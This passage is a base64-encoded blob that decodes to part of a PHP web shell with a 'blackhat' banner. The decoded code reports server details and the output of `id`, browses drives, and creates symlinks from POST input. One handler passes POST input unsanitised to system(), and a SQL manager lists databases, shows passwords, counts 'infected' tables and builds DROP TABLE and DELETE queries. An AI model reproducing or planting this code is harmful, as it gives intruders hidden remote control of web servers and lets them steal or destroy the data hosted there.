SIgYmdjb2xvcj10cmFuc3BhcmVudCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTFweCBkb3R0ZWQgIzk5MDAwMD4KPHRyPjx0aCB3aWR0aD0iMTI3IiBoZWlnaHQ9Ijk1IiBub3dyYXAgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwPjxjZW50ZXI+PGltZyBzcmM9Imh0dHA6Ly93d3cuYmxhY2toYXQuY29tL2ltYWdlcy9oZWFkLWJnLnBuZyI+PC9wPjwvY2VudGVyPgo8ZGl2IGlkPSJkcmFnb24iPjxpbWcgc3JjPSJodHRwOi8vaTUxLnRpbnlwaWMuY29tLzI0eHA3YXYucG5nIiBhbHQ9IiIgLz48L2Rpdj4KPC90aD48L3RyPgo8dHI+PHRkPgoJPHAgYWxpZ249ImxlZnQiPjw/IGVjaG8gZGF0ZSAoImQtbS1ZIEg6aTpzIikuIiAiOyA/PjwvcD4KCTxwIGFsaWduPSJsZWZ0Ij5Tb2Z0d2FyZTogPD9waHAgZWNobyAkRElTUF9TRVJWRVJfU09GVFdBUkU7ID8+ICYjNDc7IDw/cGhwIGVjaG8gZ2V0X3N0YXR1cygpOyA/PjwvcD4KCTxwIGFsaWduPSJsZWZ0Ij51bmFtZSAtYTogPD9waHAgZWNobyB3b3Jkd3JhcChwaHBfdW5hbWUoKSw5MCwiPGJyPiIsMSk7ID8+IDwvcD4KCTxwIGFsaWduPSJsZWZ0Ij48P3BocCBpZiAoISR3aW4pIHtlY2hvIHdvcmR3cmFwKG8yeGRhZXhlYygiaWQiKSw5MCwiPGJyPiIsMSk7IH0gZWxzZSB7IGVjaG8gZ2V0X2N1cnJlbnRfdXNlcigpO30gPz4gPC9wPgoJPHAgYWxpZ249ImxlZnQiPnNhZmVfbW9kZTogPD9waHAgZWNobyAkaHNhZmVtb2RlOyA/PjwvcD4KCTxwIGFsaWduPSJsZWZ0Ij48P3BocAokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7IAppZiAoZW1wdHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30gZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0gcmVhbHBhdGgoJGQpO30gCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsgCmlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30gCiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOyAKJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7IAokcGQgPSAkZSA9IGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCwtMSkpOyAKJGkgPSAwOyAKZm9yZWFjaCgkcGQgYXMgJGIpIAp7IAogJHQgPSAiIjsgCiAkaiA9IDA7IAogZm9yZWFjaCAoJGUgYXMgJHIpIAogeyAKICAkdC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7IAogIGlmICgkaiA9PSAkaSkge2JyZWFrO30gCiAgJGorKzsgCiB9IAogZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9bHMmZD0iLnVybGVuY29kZSgkdCkuIiZzb3J0PSIuJHNvcnQuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkYikuRElSRUNUT1JZX1NFUEFSQVRPUi4iPC9hPiI7IAogJGkrKzsgCn0gCmVjaG8gIiZuYnNwOyZuYnNwOyZuYnNwOyI7IAppZiAoaXNfd3JpdGFibGUoJGQpKSAKeyAKCSR3ZCA9IFRSVUU7IAoJJHdkdCA9ICI8Zm9udCBjb2xvcj1ncmVlbj5bIE9LIF08L2ZvbnQ+IjsgCgllY2hvICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD4iOyB9IGVsc2UgeyAKCSR3ZCA9IEZBTFNFOyAKCSR3ZHQgPSAiPGZvbnQgY29sb3I9cmVkPlsgUmVhZCBPbmx5IF08L2ZvbnQ+IjsgCgllY2hvICIiLnZpZXdfcGVybXNfY29sb3IoJGQpLiIiOyAKfSAKaWYgKGlzX2NhbGxhYmxlKCJkaXNrX2ZyZWVfc3BhY2UiKSkgCnsgCiAkZnJlZSA9IGRpc2tfZnJlZV9zcGFjZSgkZCk7IAogJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkZCk7IAogaWYgKCRmcmVlID09PSBGQUxTRSkgeyRmcmVlID0gMDt9IAogaWYgKCR0b3RhbCA9PT0gRkFMU0UpIHskdG90YWwgPSAwO30gCiBpZiAoJGZyZWUgPCAwKSB7JGZyZWUgPSAwO30gCiBpZiAoJHRvdGFsIDwgMCkgeyR0b3RhbCA9IDA7fSAKICR1c2VkID0gJHRvdGFsLSRmcmVlOyAKICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAvKCR0b3RhbC8kZnJlZSksMik7IAogZWNobyAiPGJyIC8+RmlsZXN5c3RlbSBNb3VudGVkOiAiLnZpZXdfc2l6ZSgkZnJlZSkuIiBvZiAiLnZpZXdfc2l6ZSgkdG90YWwpLiIgKCIuJGZyZWVfcGVyY2VudC4iJSkiOyAKfSAKZWNobyAiIjsKZWNobyAiPGJyLz5pZmNvbmZpZyA6IDxhIGhyZWY9aHR0cDovL3dob2lzLmRvbWFpbnRvb2xzLmNvbS8iLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iPiIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pLiI8L2E+IjsgCiRsZXR0ZXJzID0gIiI7IAppZiAoJHdpbikgCnsgCiR2ID0gZXhwbG9kZSgiXFwiLCRkKTsgCiR2ID0gJHZbMF07IAoJZm9yZWFjaCAocmFuZ2UoImEiLCJ6IikgYXMgJGxldHRlcikgCiAgeyAKJGJvb2wgPSAkaXNkaXNrZXR0ZSA9IGluX2FycmF5KCRsZXR0ZXIsJHNhZmVtb2RlX2Rpc2tldHRlcyk7IAoJaWYgKCEkYm9vbCkgeyRib29sID0gaXNfZGlyKCRsZXR0ZXIuIjpcXCIpO30gCglpZiAoJGJvb2wpIAogIHsgCiRsZXR0ZXJzIC49ICI8YSBocmVmPVwiIi4kc3VybC4ieHR1eD1scyZkPSIudXJsZW5jb2RlKCRsZXR0ZXIuIjpcXCIpLiJcIiIuKCRpc2Rpc2tldHRlPyIgb25jbGljaz1cInJldHVybiBjb25maXJtKCdNYWtlIHN1cmUgdGhpcyBpcyBjb3JyZWN0LicpXCIiOiIiKS4iPlsgIjsgCglpZiAoJGxldHRlci4iOiIgIT0gJHYpIHskbGV0dGVycyAuPSAkbGV0dGVyOyB9IGVsc2UgewokbGV0dGVycyAuPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kbGV0dGVyLiI8L2ZvbnQ+Ijt9IAokbGV0dGVycyAuPSAiIF08L2E+ICI7IAogIH0gCiB9IAppZiAoIWVtcHR5KCRsZXR0ZXJzKSkge2VjaG8gIkRldGVjdGVkIGRyaXZlczogIi4kbGV0dGVycy4iPGJyPiI7fSAKfSAKaWYgKGNvdW50KCRxdWlja2xhdW5jaCkgPiAwKSAKeyAKIGZvcmVhY2goJHF1aWNrbGF1bmNoIGFzICRpdGVtKSAKIHsgCiAgJGl0ZW1bMV0gPSBzdHJfcmVwbGFjZSgiJWQiLHVybGVuY29kZSgkZCksJGl0ZW1bMV0pOyAKICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIlc29ydCIsJHNvcnQsJGl0ZW1bMV0pOyAKICAkdiA9IHJlYWxwYXRoKCRkLiIuLiIpOyAKICBpZiAoZW1wdHkoJHYpKSB7JGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOyB1bnNldCgkYVtjb3VudCgkYSktMl0pOyAkdiA9IGpvaW4oRElSRUNUT1JZX1NFUEFSQVRPUiwkYSk7fSAKICAkaXRlbVsxXSA9IHN0cl9yZXBsYWNlKCIldXBkIix1cmxlbmNvZGUoJHYpLCRpdGVtWzFdKTsgCiAgZWNobyAiPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4gJiMxMjQ7ICI7IAogfSAKfSAKZWNobyAiPC9wPjwvdGQ+PC90cj48L3RhYmxlPiI7IAppZiAoKCFlbXB0eSgkZG9uYXRlZF9odG1sKSkgYW5kIChpbl9hcnJheSgkeHR1eCwkZG9uYXRlZF9hY3QpKSkge2VjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0xIGJvcmRlckNvbG9yRGFyaz0jOTkwMDAwIGNlbGxQYWRkaW5nPTMgd2lkdGg9XCI5NSVcIiBiZ2NvbG9yPXRyYW5zcGFyZW50IGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiOTUlXCIgdmFsaWduPVwidG9wXCI+Ii4kZG9uYXRlZF9odG1sLiI8L3RkPjwvdHI+PC90YWJsZT4iO30gCmVjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0xIGJvcmRlckNvbG9yRGFyaz0jOTkwMDAwIGNlbGxQYWRkaW5nPTIgd2lkdGg9XCI5NSVcIiBiZ2NvbG9yPSB0cmFuc3BhcmVudCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD1cIjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iOyAKaWYgKCR4dHV4ID09ICIiKSB7JHh0dXggPSAkZHNwYWN0ID0gImxzIjt9IAppZiAoJHh0dXggPT0gInN5bWxpbmsiKSB7CmVjaG8gJG5kYXMuJycuJGVuZDtleGl0OyB9CmlmICgkX1BPU1RbJ2FkMXN5cCddICYmICRfUE9TVFsnYWQyc3lwJ10pewppZiAoc3ltbGluaygkX1BPU1RbJ2FkMXN5cCddLCRfUE9TVFsnYWQyc3lwJ10pKXsKcHJpbnQoIjxibGluaz5TeW1saW5rIFdvcmtlZCAhPC9ibGluaz4iKTsKfWVsc2V7CnByaW50KCJTeW1saW5rIE5vdCBXb3JrZWQgISIpOwp9fQppZiAoJF9QT1NUWydhZDFzeWMnXSAmJiAkX1BPU1RbJ2FkMnN5YyddKXsKaWYgKHN5c3RlbSgnbHMgLXMgJy4kX1BPU1RbJ2FkMXN5YyddLiIgIi4kX1BPU1RbJ2FkMnN5YyddKSl7CnByaW50KCI8Ymxpbms+U3ltbGluayBXb3JrZWQgITwvYmxpbms+Iik7Cn1lbHNlewpwcmludCgiU3ltbGluayBOb3QgV29ya2VkICEiKTt9Cn0gCmlmICgkYWN0ID09ICJzcWwiKSB7CiRzcWxfc3VybCA9ICRzdXJsLiJhY3Q9c3FsIjsgCmlmICgkc3FsX2xvZ2luKSAgeyRzcWxfc3VybCAuPSAiJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7fSAKaWYgKCRzcWxfcGFzc3dkKSB7JHNxbF9zdXJsIC49ICImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpO30gCmlmICgkc3FsX3NlcnZlcikgeyRzcWxfc3VybCAuPSAiJnNxbF9zZXJ2ZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKTt9IAppZiAoJHNxbF9wb3J0KSAgIHskc3FsX3N1cmwgLj0gIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KTt9IAppZiAoJHNxbF9kYikgICAgIHskc3FsX3N1cmwgLj0gIiZzcWxfZGI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpO30gCiRzcWxfc3VybCAuPSAiJiI7IAo/PjxoMz5XZWxjb21lIHRvIFNRTCBNYW5hZ2VyLjwvaDM+CjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9Izk5MDAwMCBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDAlIiBiZ2NvbG9yPXRyYW5zcGFyZW50IGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj0iIzk5MDAwMCI+PHRyPjx0ZCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIiBjb2xzcGFuPSIyIiB2YWxpZ249InRvcCI+PGNlbnRlcj48P3BocCAKaWYgKCRzcWxfc2VydmVyKSAKeyAKICAkc3FsX3NvY2sgPSBteXNxbF9jb25uZWN0KCRzcWxfc2VydmVyLiI6Ii4kc3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsgCiAgJGVyciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsgCiAgQG15c3FsX3NlbGVjdF9kYigkc3FsX2RiLCRzcWxfc29jayk7IAogIGlmICgkc3FsX3F1ZXJ5IGFuZCAkc3VibWl0KSB7JHNxbF9xdWVyeV9yZXN1bHQgPSBteXNxbF9xdWVyeSgkc3FsX3F1ZXJ5LCRzcWxfc29jayk7ICRzcWxfcXVlcnlfZXJyb3IgPSBteXNxbF9zbWFydGVycm9yKCk7fSAKfSBlbHNlIHsKJHNxbF9zb2NrID0gRkFMU0U7fSAKZWNobyAiU1FMIE1hbmFnZXIgPGJyIC8+IjsgCmlmICghJHNxbF9zb2NrKQp7IAppZiAoISRzcWxfc2VydmVyKSB7ZWNobyAiTk8gQ09OTkVDVElPTiI7fSBlbHNlIHsKZWNobyAiPGNlbnRlcj5DYW4ndCBjb25uZWN0PC9jZW50ZXI+IjsgZWNobyAiIi4kZXJyLiIiO30gCn0gZWxzZSB7IAogICRzcWxxdWlja2xhdW5jaCA9IGFycmF5KCk7IAogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkluZGV4Iiwkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiKTsgCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiUXVlcnkiLCRzcWxfc3VybC4ic3FsX2FjdD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKSk7IAogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlci1zdGF0dXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9c2VydmVyc3RhdHVzIik7IAogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIlNlcnZlciB2YXJpYWJsZXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9c2VydmVydmFycyIpOyAKICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJQcm9jZXNzZXMiLCRzdXJsLiJhY3Q9c3FsJnNxbF9sb2dpbj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIiZzcWxfcGFzc3dkPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIiZzcWxfc2VydmVyPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiZzcWxfcG9ydD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJnNxbF9hY3Q9cHJvY2Vzc2VzIik7IAogICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoIkxvZ291dCIsJHN1cmwuImFjdD1zcWwiKTsgCiAgZWNobyAiPGNlbnRlcj5NeVNRTCAiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIgKHByb3RvIHYuIi5teXNxbF9nZXRfcHJvdG9faW5mbyAoKS4iKSBydW5uaW5nIGluICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIjoiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iIGFzICIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iQCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIiAocGFzc3dvcmQgLSBcIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIlwiKTxicj4iOyAKaWYgKGNvdW50KCRzcWxxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkc3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fSAKZWNobyAiPC9jZW50ZXI+IjsgCn0gCmVjaG8gIjwvdGQ+PC90cj48dHI+IjsgCmlmICghJHNxbF9zb2NrKSB7Pz48dGQgd2lkdGg9IjI4JSIgaGVpZ2h0PSIxMDAiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxmb250IHNpemU9IjUiPiBpIDwvZm9udD48L2NlbnRlcj48bGk+SWYgbG9naW4gaXMgbnVsbCwgbG9naW4gaXMgb3duZXIgb2YgcHJvY2Vzcy48bGk+SWYgaG9zdCBpcyBudWxsLCBob3N0IGlzIGxvY2FsaG9zdDxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD0iOTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPSIxMDAlIiBib3JkZXI9MD48dHI+PHRkPiZuYnNwO1BsZWFzZSwgZmlsbCB0aGUgZm9ybTo8dGFibGU+PHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPlBhc3N3b3JkJm5ic3A7PC90ZD48dGQ+RGF0YWJhc2UmbmJzcDs8L3RkPjwvdHI+PGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiIgbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjx0cj48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9InJvb3QiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9kYiIgdmFsdWU9IiIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48L3RyPjx0cj48dGQ+SG9zdDwvdGQ+PHRkPlBPUlQ8L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iMzMwNiIgbWF4bGVuZ3RoPSI2IiBzaXplPSIzIj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAKfSBlbHNlIHsKLy9TdGFydCBsZWZ0IHBhbmVsIAppZiAoIWVtcHR5KCRzcWxfZGIpKSAKeyAKPz48dGQgd2lkdGg9IjI1JSIgaGVpZ2h0PSIxMDAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3VybC4iYWN0PXNxbCZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiImc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiImc3FsX3BvcnQ9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIiYiOyA/PiI+SG9tZTwvYT48aHIgc2l6ZT0iMSIgbm9zaGFkZT48P3BocCAKJHJlc3VsdCA9IG15c3FsX2xpc3RfdGFibGVzKCRzcWxfZGIpOyAKaWYgKCEkcmVzdWx0KSB7ZWNobyBteXNxbF9zbWFydGVycm9yKCk7IH0gZWxzZSB7IAplY2hvICItLS1bIDxhIGhyZWY9XCIiLiRzcWxfc3VybC4iJlwiPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iPC9hPiBdLS0tPGJyPiI7IAokYyA9IDA7IAp3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGNvdW50ID0gbXlzcWxfcXVlcnkgKCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiLiRyb3dbMF0pOyAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsgZWNobyAiKyZuYnNwOzxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJnNxbF90Ymw9Ii5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSkuIjwvYT4gKCIuJGNvdW50X3Jvd1swXS4iKTwvYnI+IjsgbXlzcWxfZnJlZV9yZXN1bHQoJGNvdW50KTsgJGMrKzt9IAppZiAoISRjKSB7ZWNobyAiTm8gdGFibGVzIGZvdW5kIGluIGRhdGFiYXNlLiI7fSAKCX0KfSBlbHNlIHsKPz48dGQgd2lkdGg9IjEiIGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkc3FsX3N1cmw7ID8+Ij5Ib21lPC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhwIAokcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsgCmlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpOwp9IGVsc2UgeyAKPz48Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJzcWwiPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9sb2dpbiIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfcG9ydCIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpOyA/PiI+PHNlbGVjdCBuYW1lPSJzcWxfZGIiPjw/cGhwIAokYyA9IDA7IAokZGJzID0gIiI7IAp3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KSkgeyRkYnMgLj0gIjxvcHRpb24gdmFsdWU9XCIiLiRyb3dbMF0uIlwiIjsgaWYgKCRzcWxfZGIgPT0gJHJvd1swXSkgeyRkYnMgLj0gIiBzZWxlY3RlZCI7fSAkZGJzIC49ICI+Ii4kcm93WzBdLiI8L29wdGlvbj4iOyAkYysrO30gCmVjaG8gIjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIuJGMuIik8L29wdGlvbj4iOyAKZWNobyAkZGJzOyAKfSAKPz48L3NlbGVjdD48aHIgc2l6ZT0iMSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBzaXplPSIxIiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjw/cGhwIAp9IAovL0VuZCBsZWZ0IHBhbmVsIAplY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIiBoZWlnaHQ9XCIxXCIgdmFsaWduPVwidG9wXCI+IjsgCi8vU3RhcnQgY2VudGVyIHBhbmVsIAokZGlwbGF5ID0gVFJVRTsgCmlmICgkc3FsX2RiKSAKeyAKaWYgKCFpc19udW1lcmljKCRjKSkgeyRjID0gMDt9IAppZiAoJGMgPT0gMCkgeyRjID0gIm5vIjt9IAplY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+VG90YWwgSW5mZWN0ZWQgIi4kYy4iIHRhYmxlKHMpIC0gRGF0YWJhc2UgKCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iKTxiciAvPiI7IAppZiAoY291bnQoJGRicXVpY2tsYXVuY2gpID4gMCkge2ZvcmVhY2goJGRic3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0pIHtlY2hvICJbIDxhIGhyZWY9XCIiLiRpdGVtWzFdLiJcIj4iLiRpdGVtWzBdLiI8L2E+IF0gIjt9fSAKZWNobyAiPC9jZW50ZXI+IjsgCiRhY3RzID0gYXJyYXkoIiIsImR1bXAiKTsgCmlmICgkc3FsX2FjdCA9PSAidGJsZHJvcCIpIHskc3FsX3F1ZXJ5ID0gIkRST1AgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJcbmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7IjsgJHNxbF9hY3QgPSAicXVlcnkiO30gCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGVtcHR5IikgeyRzcWxfcXVlcnkgPSAiIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAiREVMRVRFIEZST00gYCIuJHYuImAgXG4iO30gJHNxbF9hY3QgPSAicXVlcnkiO30gCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGR1bXAiKSB7aWYgKGNvdW50KCRib3h0YmwpID4gMCkgeyRkbXB0YmxzID0gJGJveHRibDt9IGVsc2VpZigkdGhpc3RibCkgeyRkbXB0YmxzID0gYXJyYXkoJHNxbF90YmwpO30gJHNxbF9hY3QgPSAiZHVtcCI7fSAKICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsY2hlY2siKSB7JHNxbF9xdWVyeSA9ICJDSEVDSyBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fSAKICAgZWxzZWlmICgkc3FsX2FjdCA9PSAidGJsb3B0aW1pemUiKSB7JHNxbF9xdWVyeSA9ICJPUFRJTUlaRSBUQUJMRSI7IGZvcmVhY2goJGJveHRibCBhcyAkdikgeyRzcWxfcXVlcnkgLj0gIlxuYCIuJHYuImAgLCI7fSAkc3FsX3F1ZXJ5ID0gc3Vic3RyKCRzcWxfcXVlcnksMCwtMSkuIjsiOyAkc3FsX2FjdCA9ICJxdWVyeSI7fSAKICAg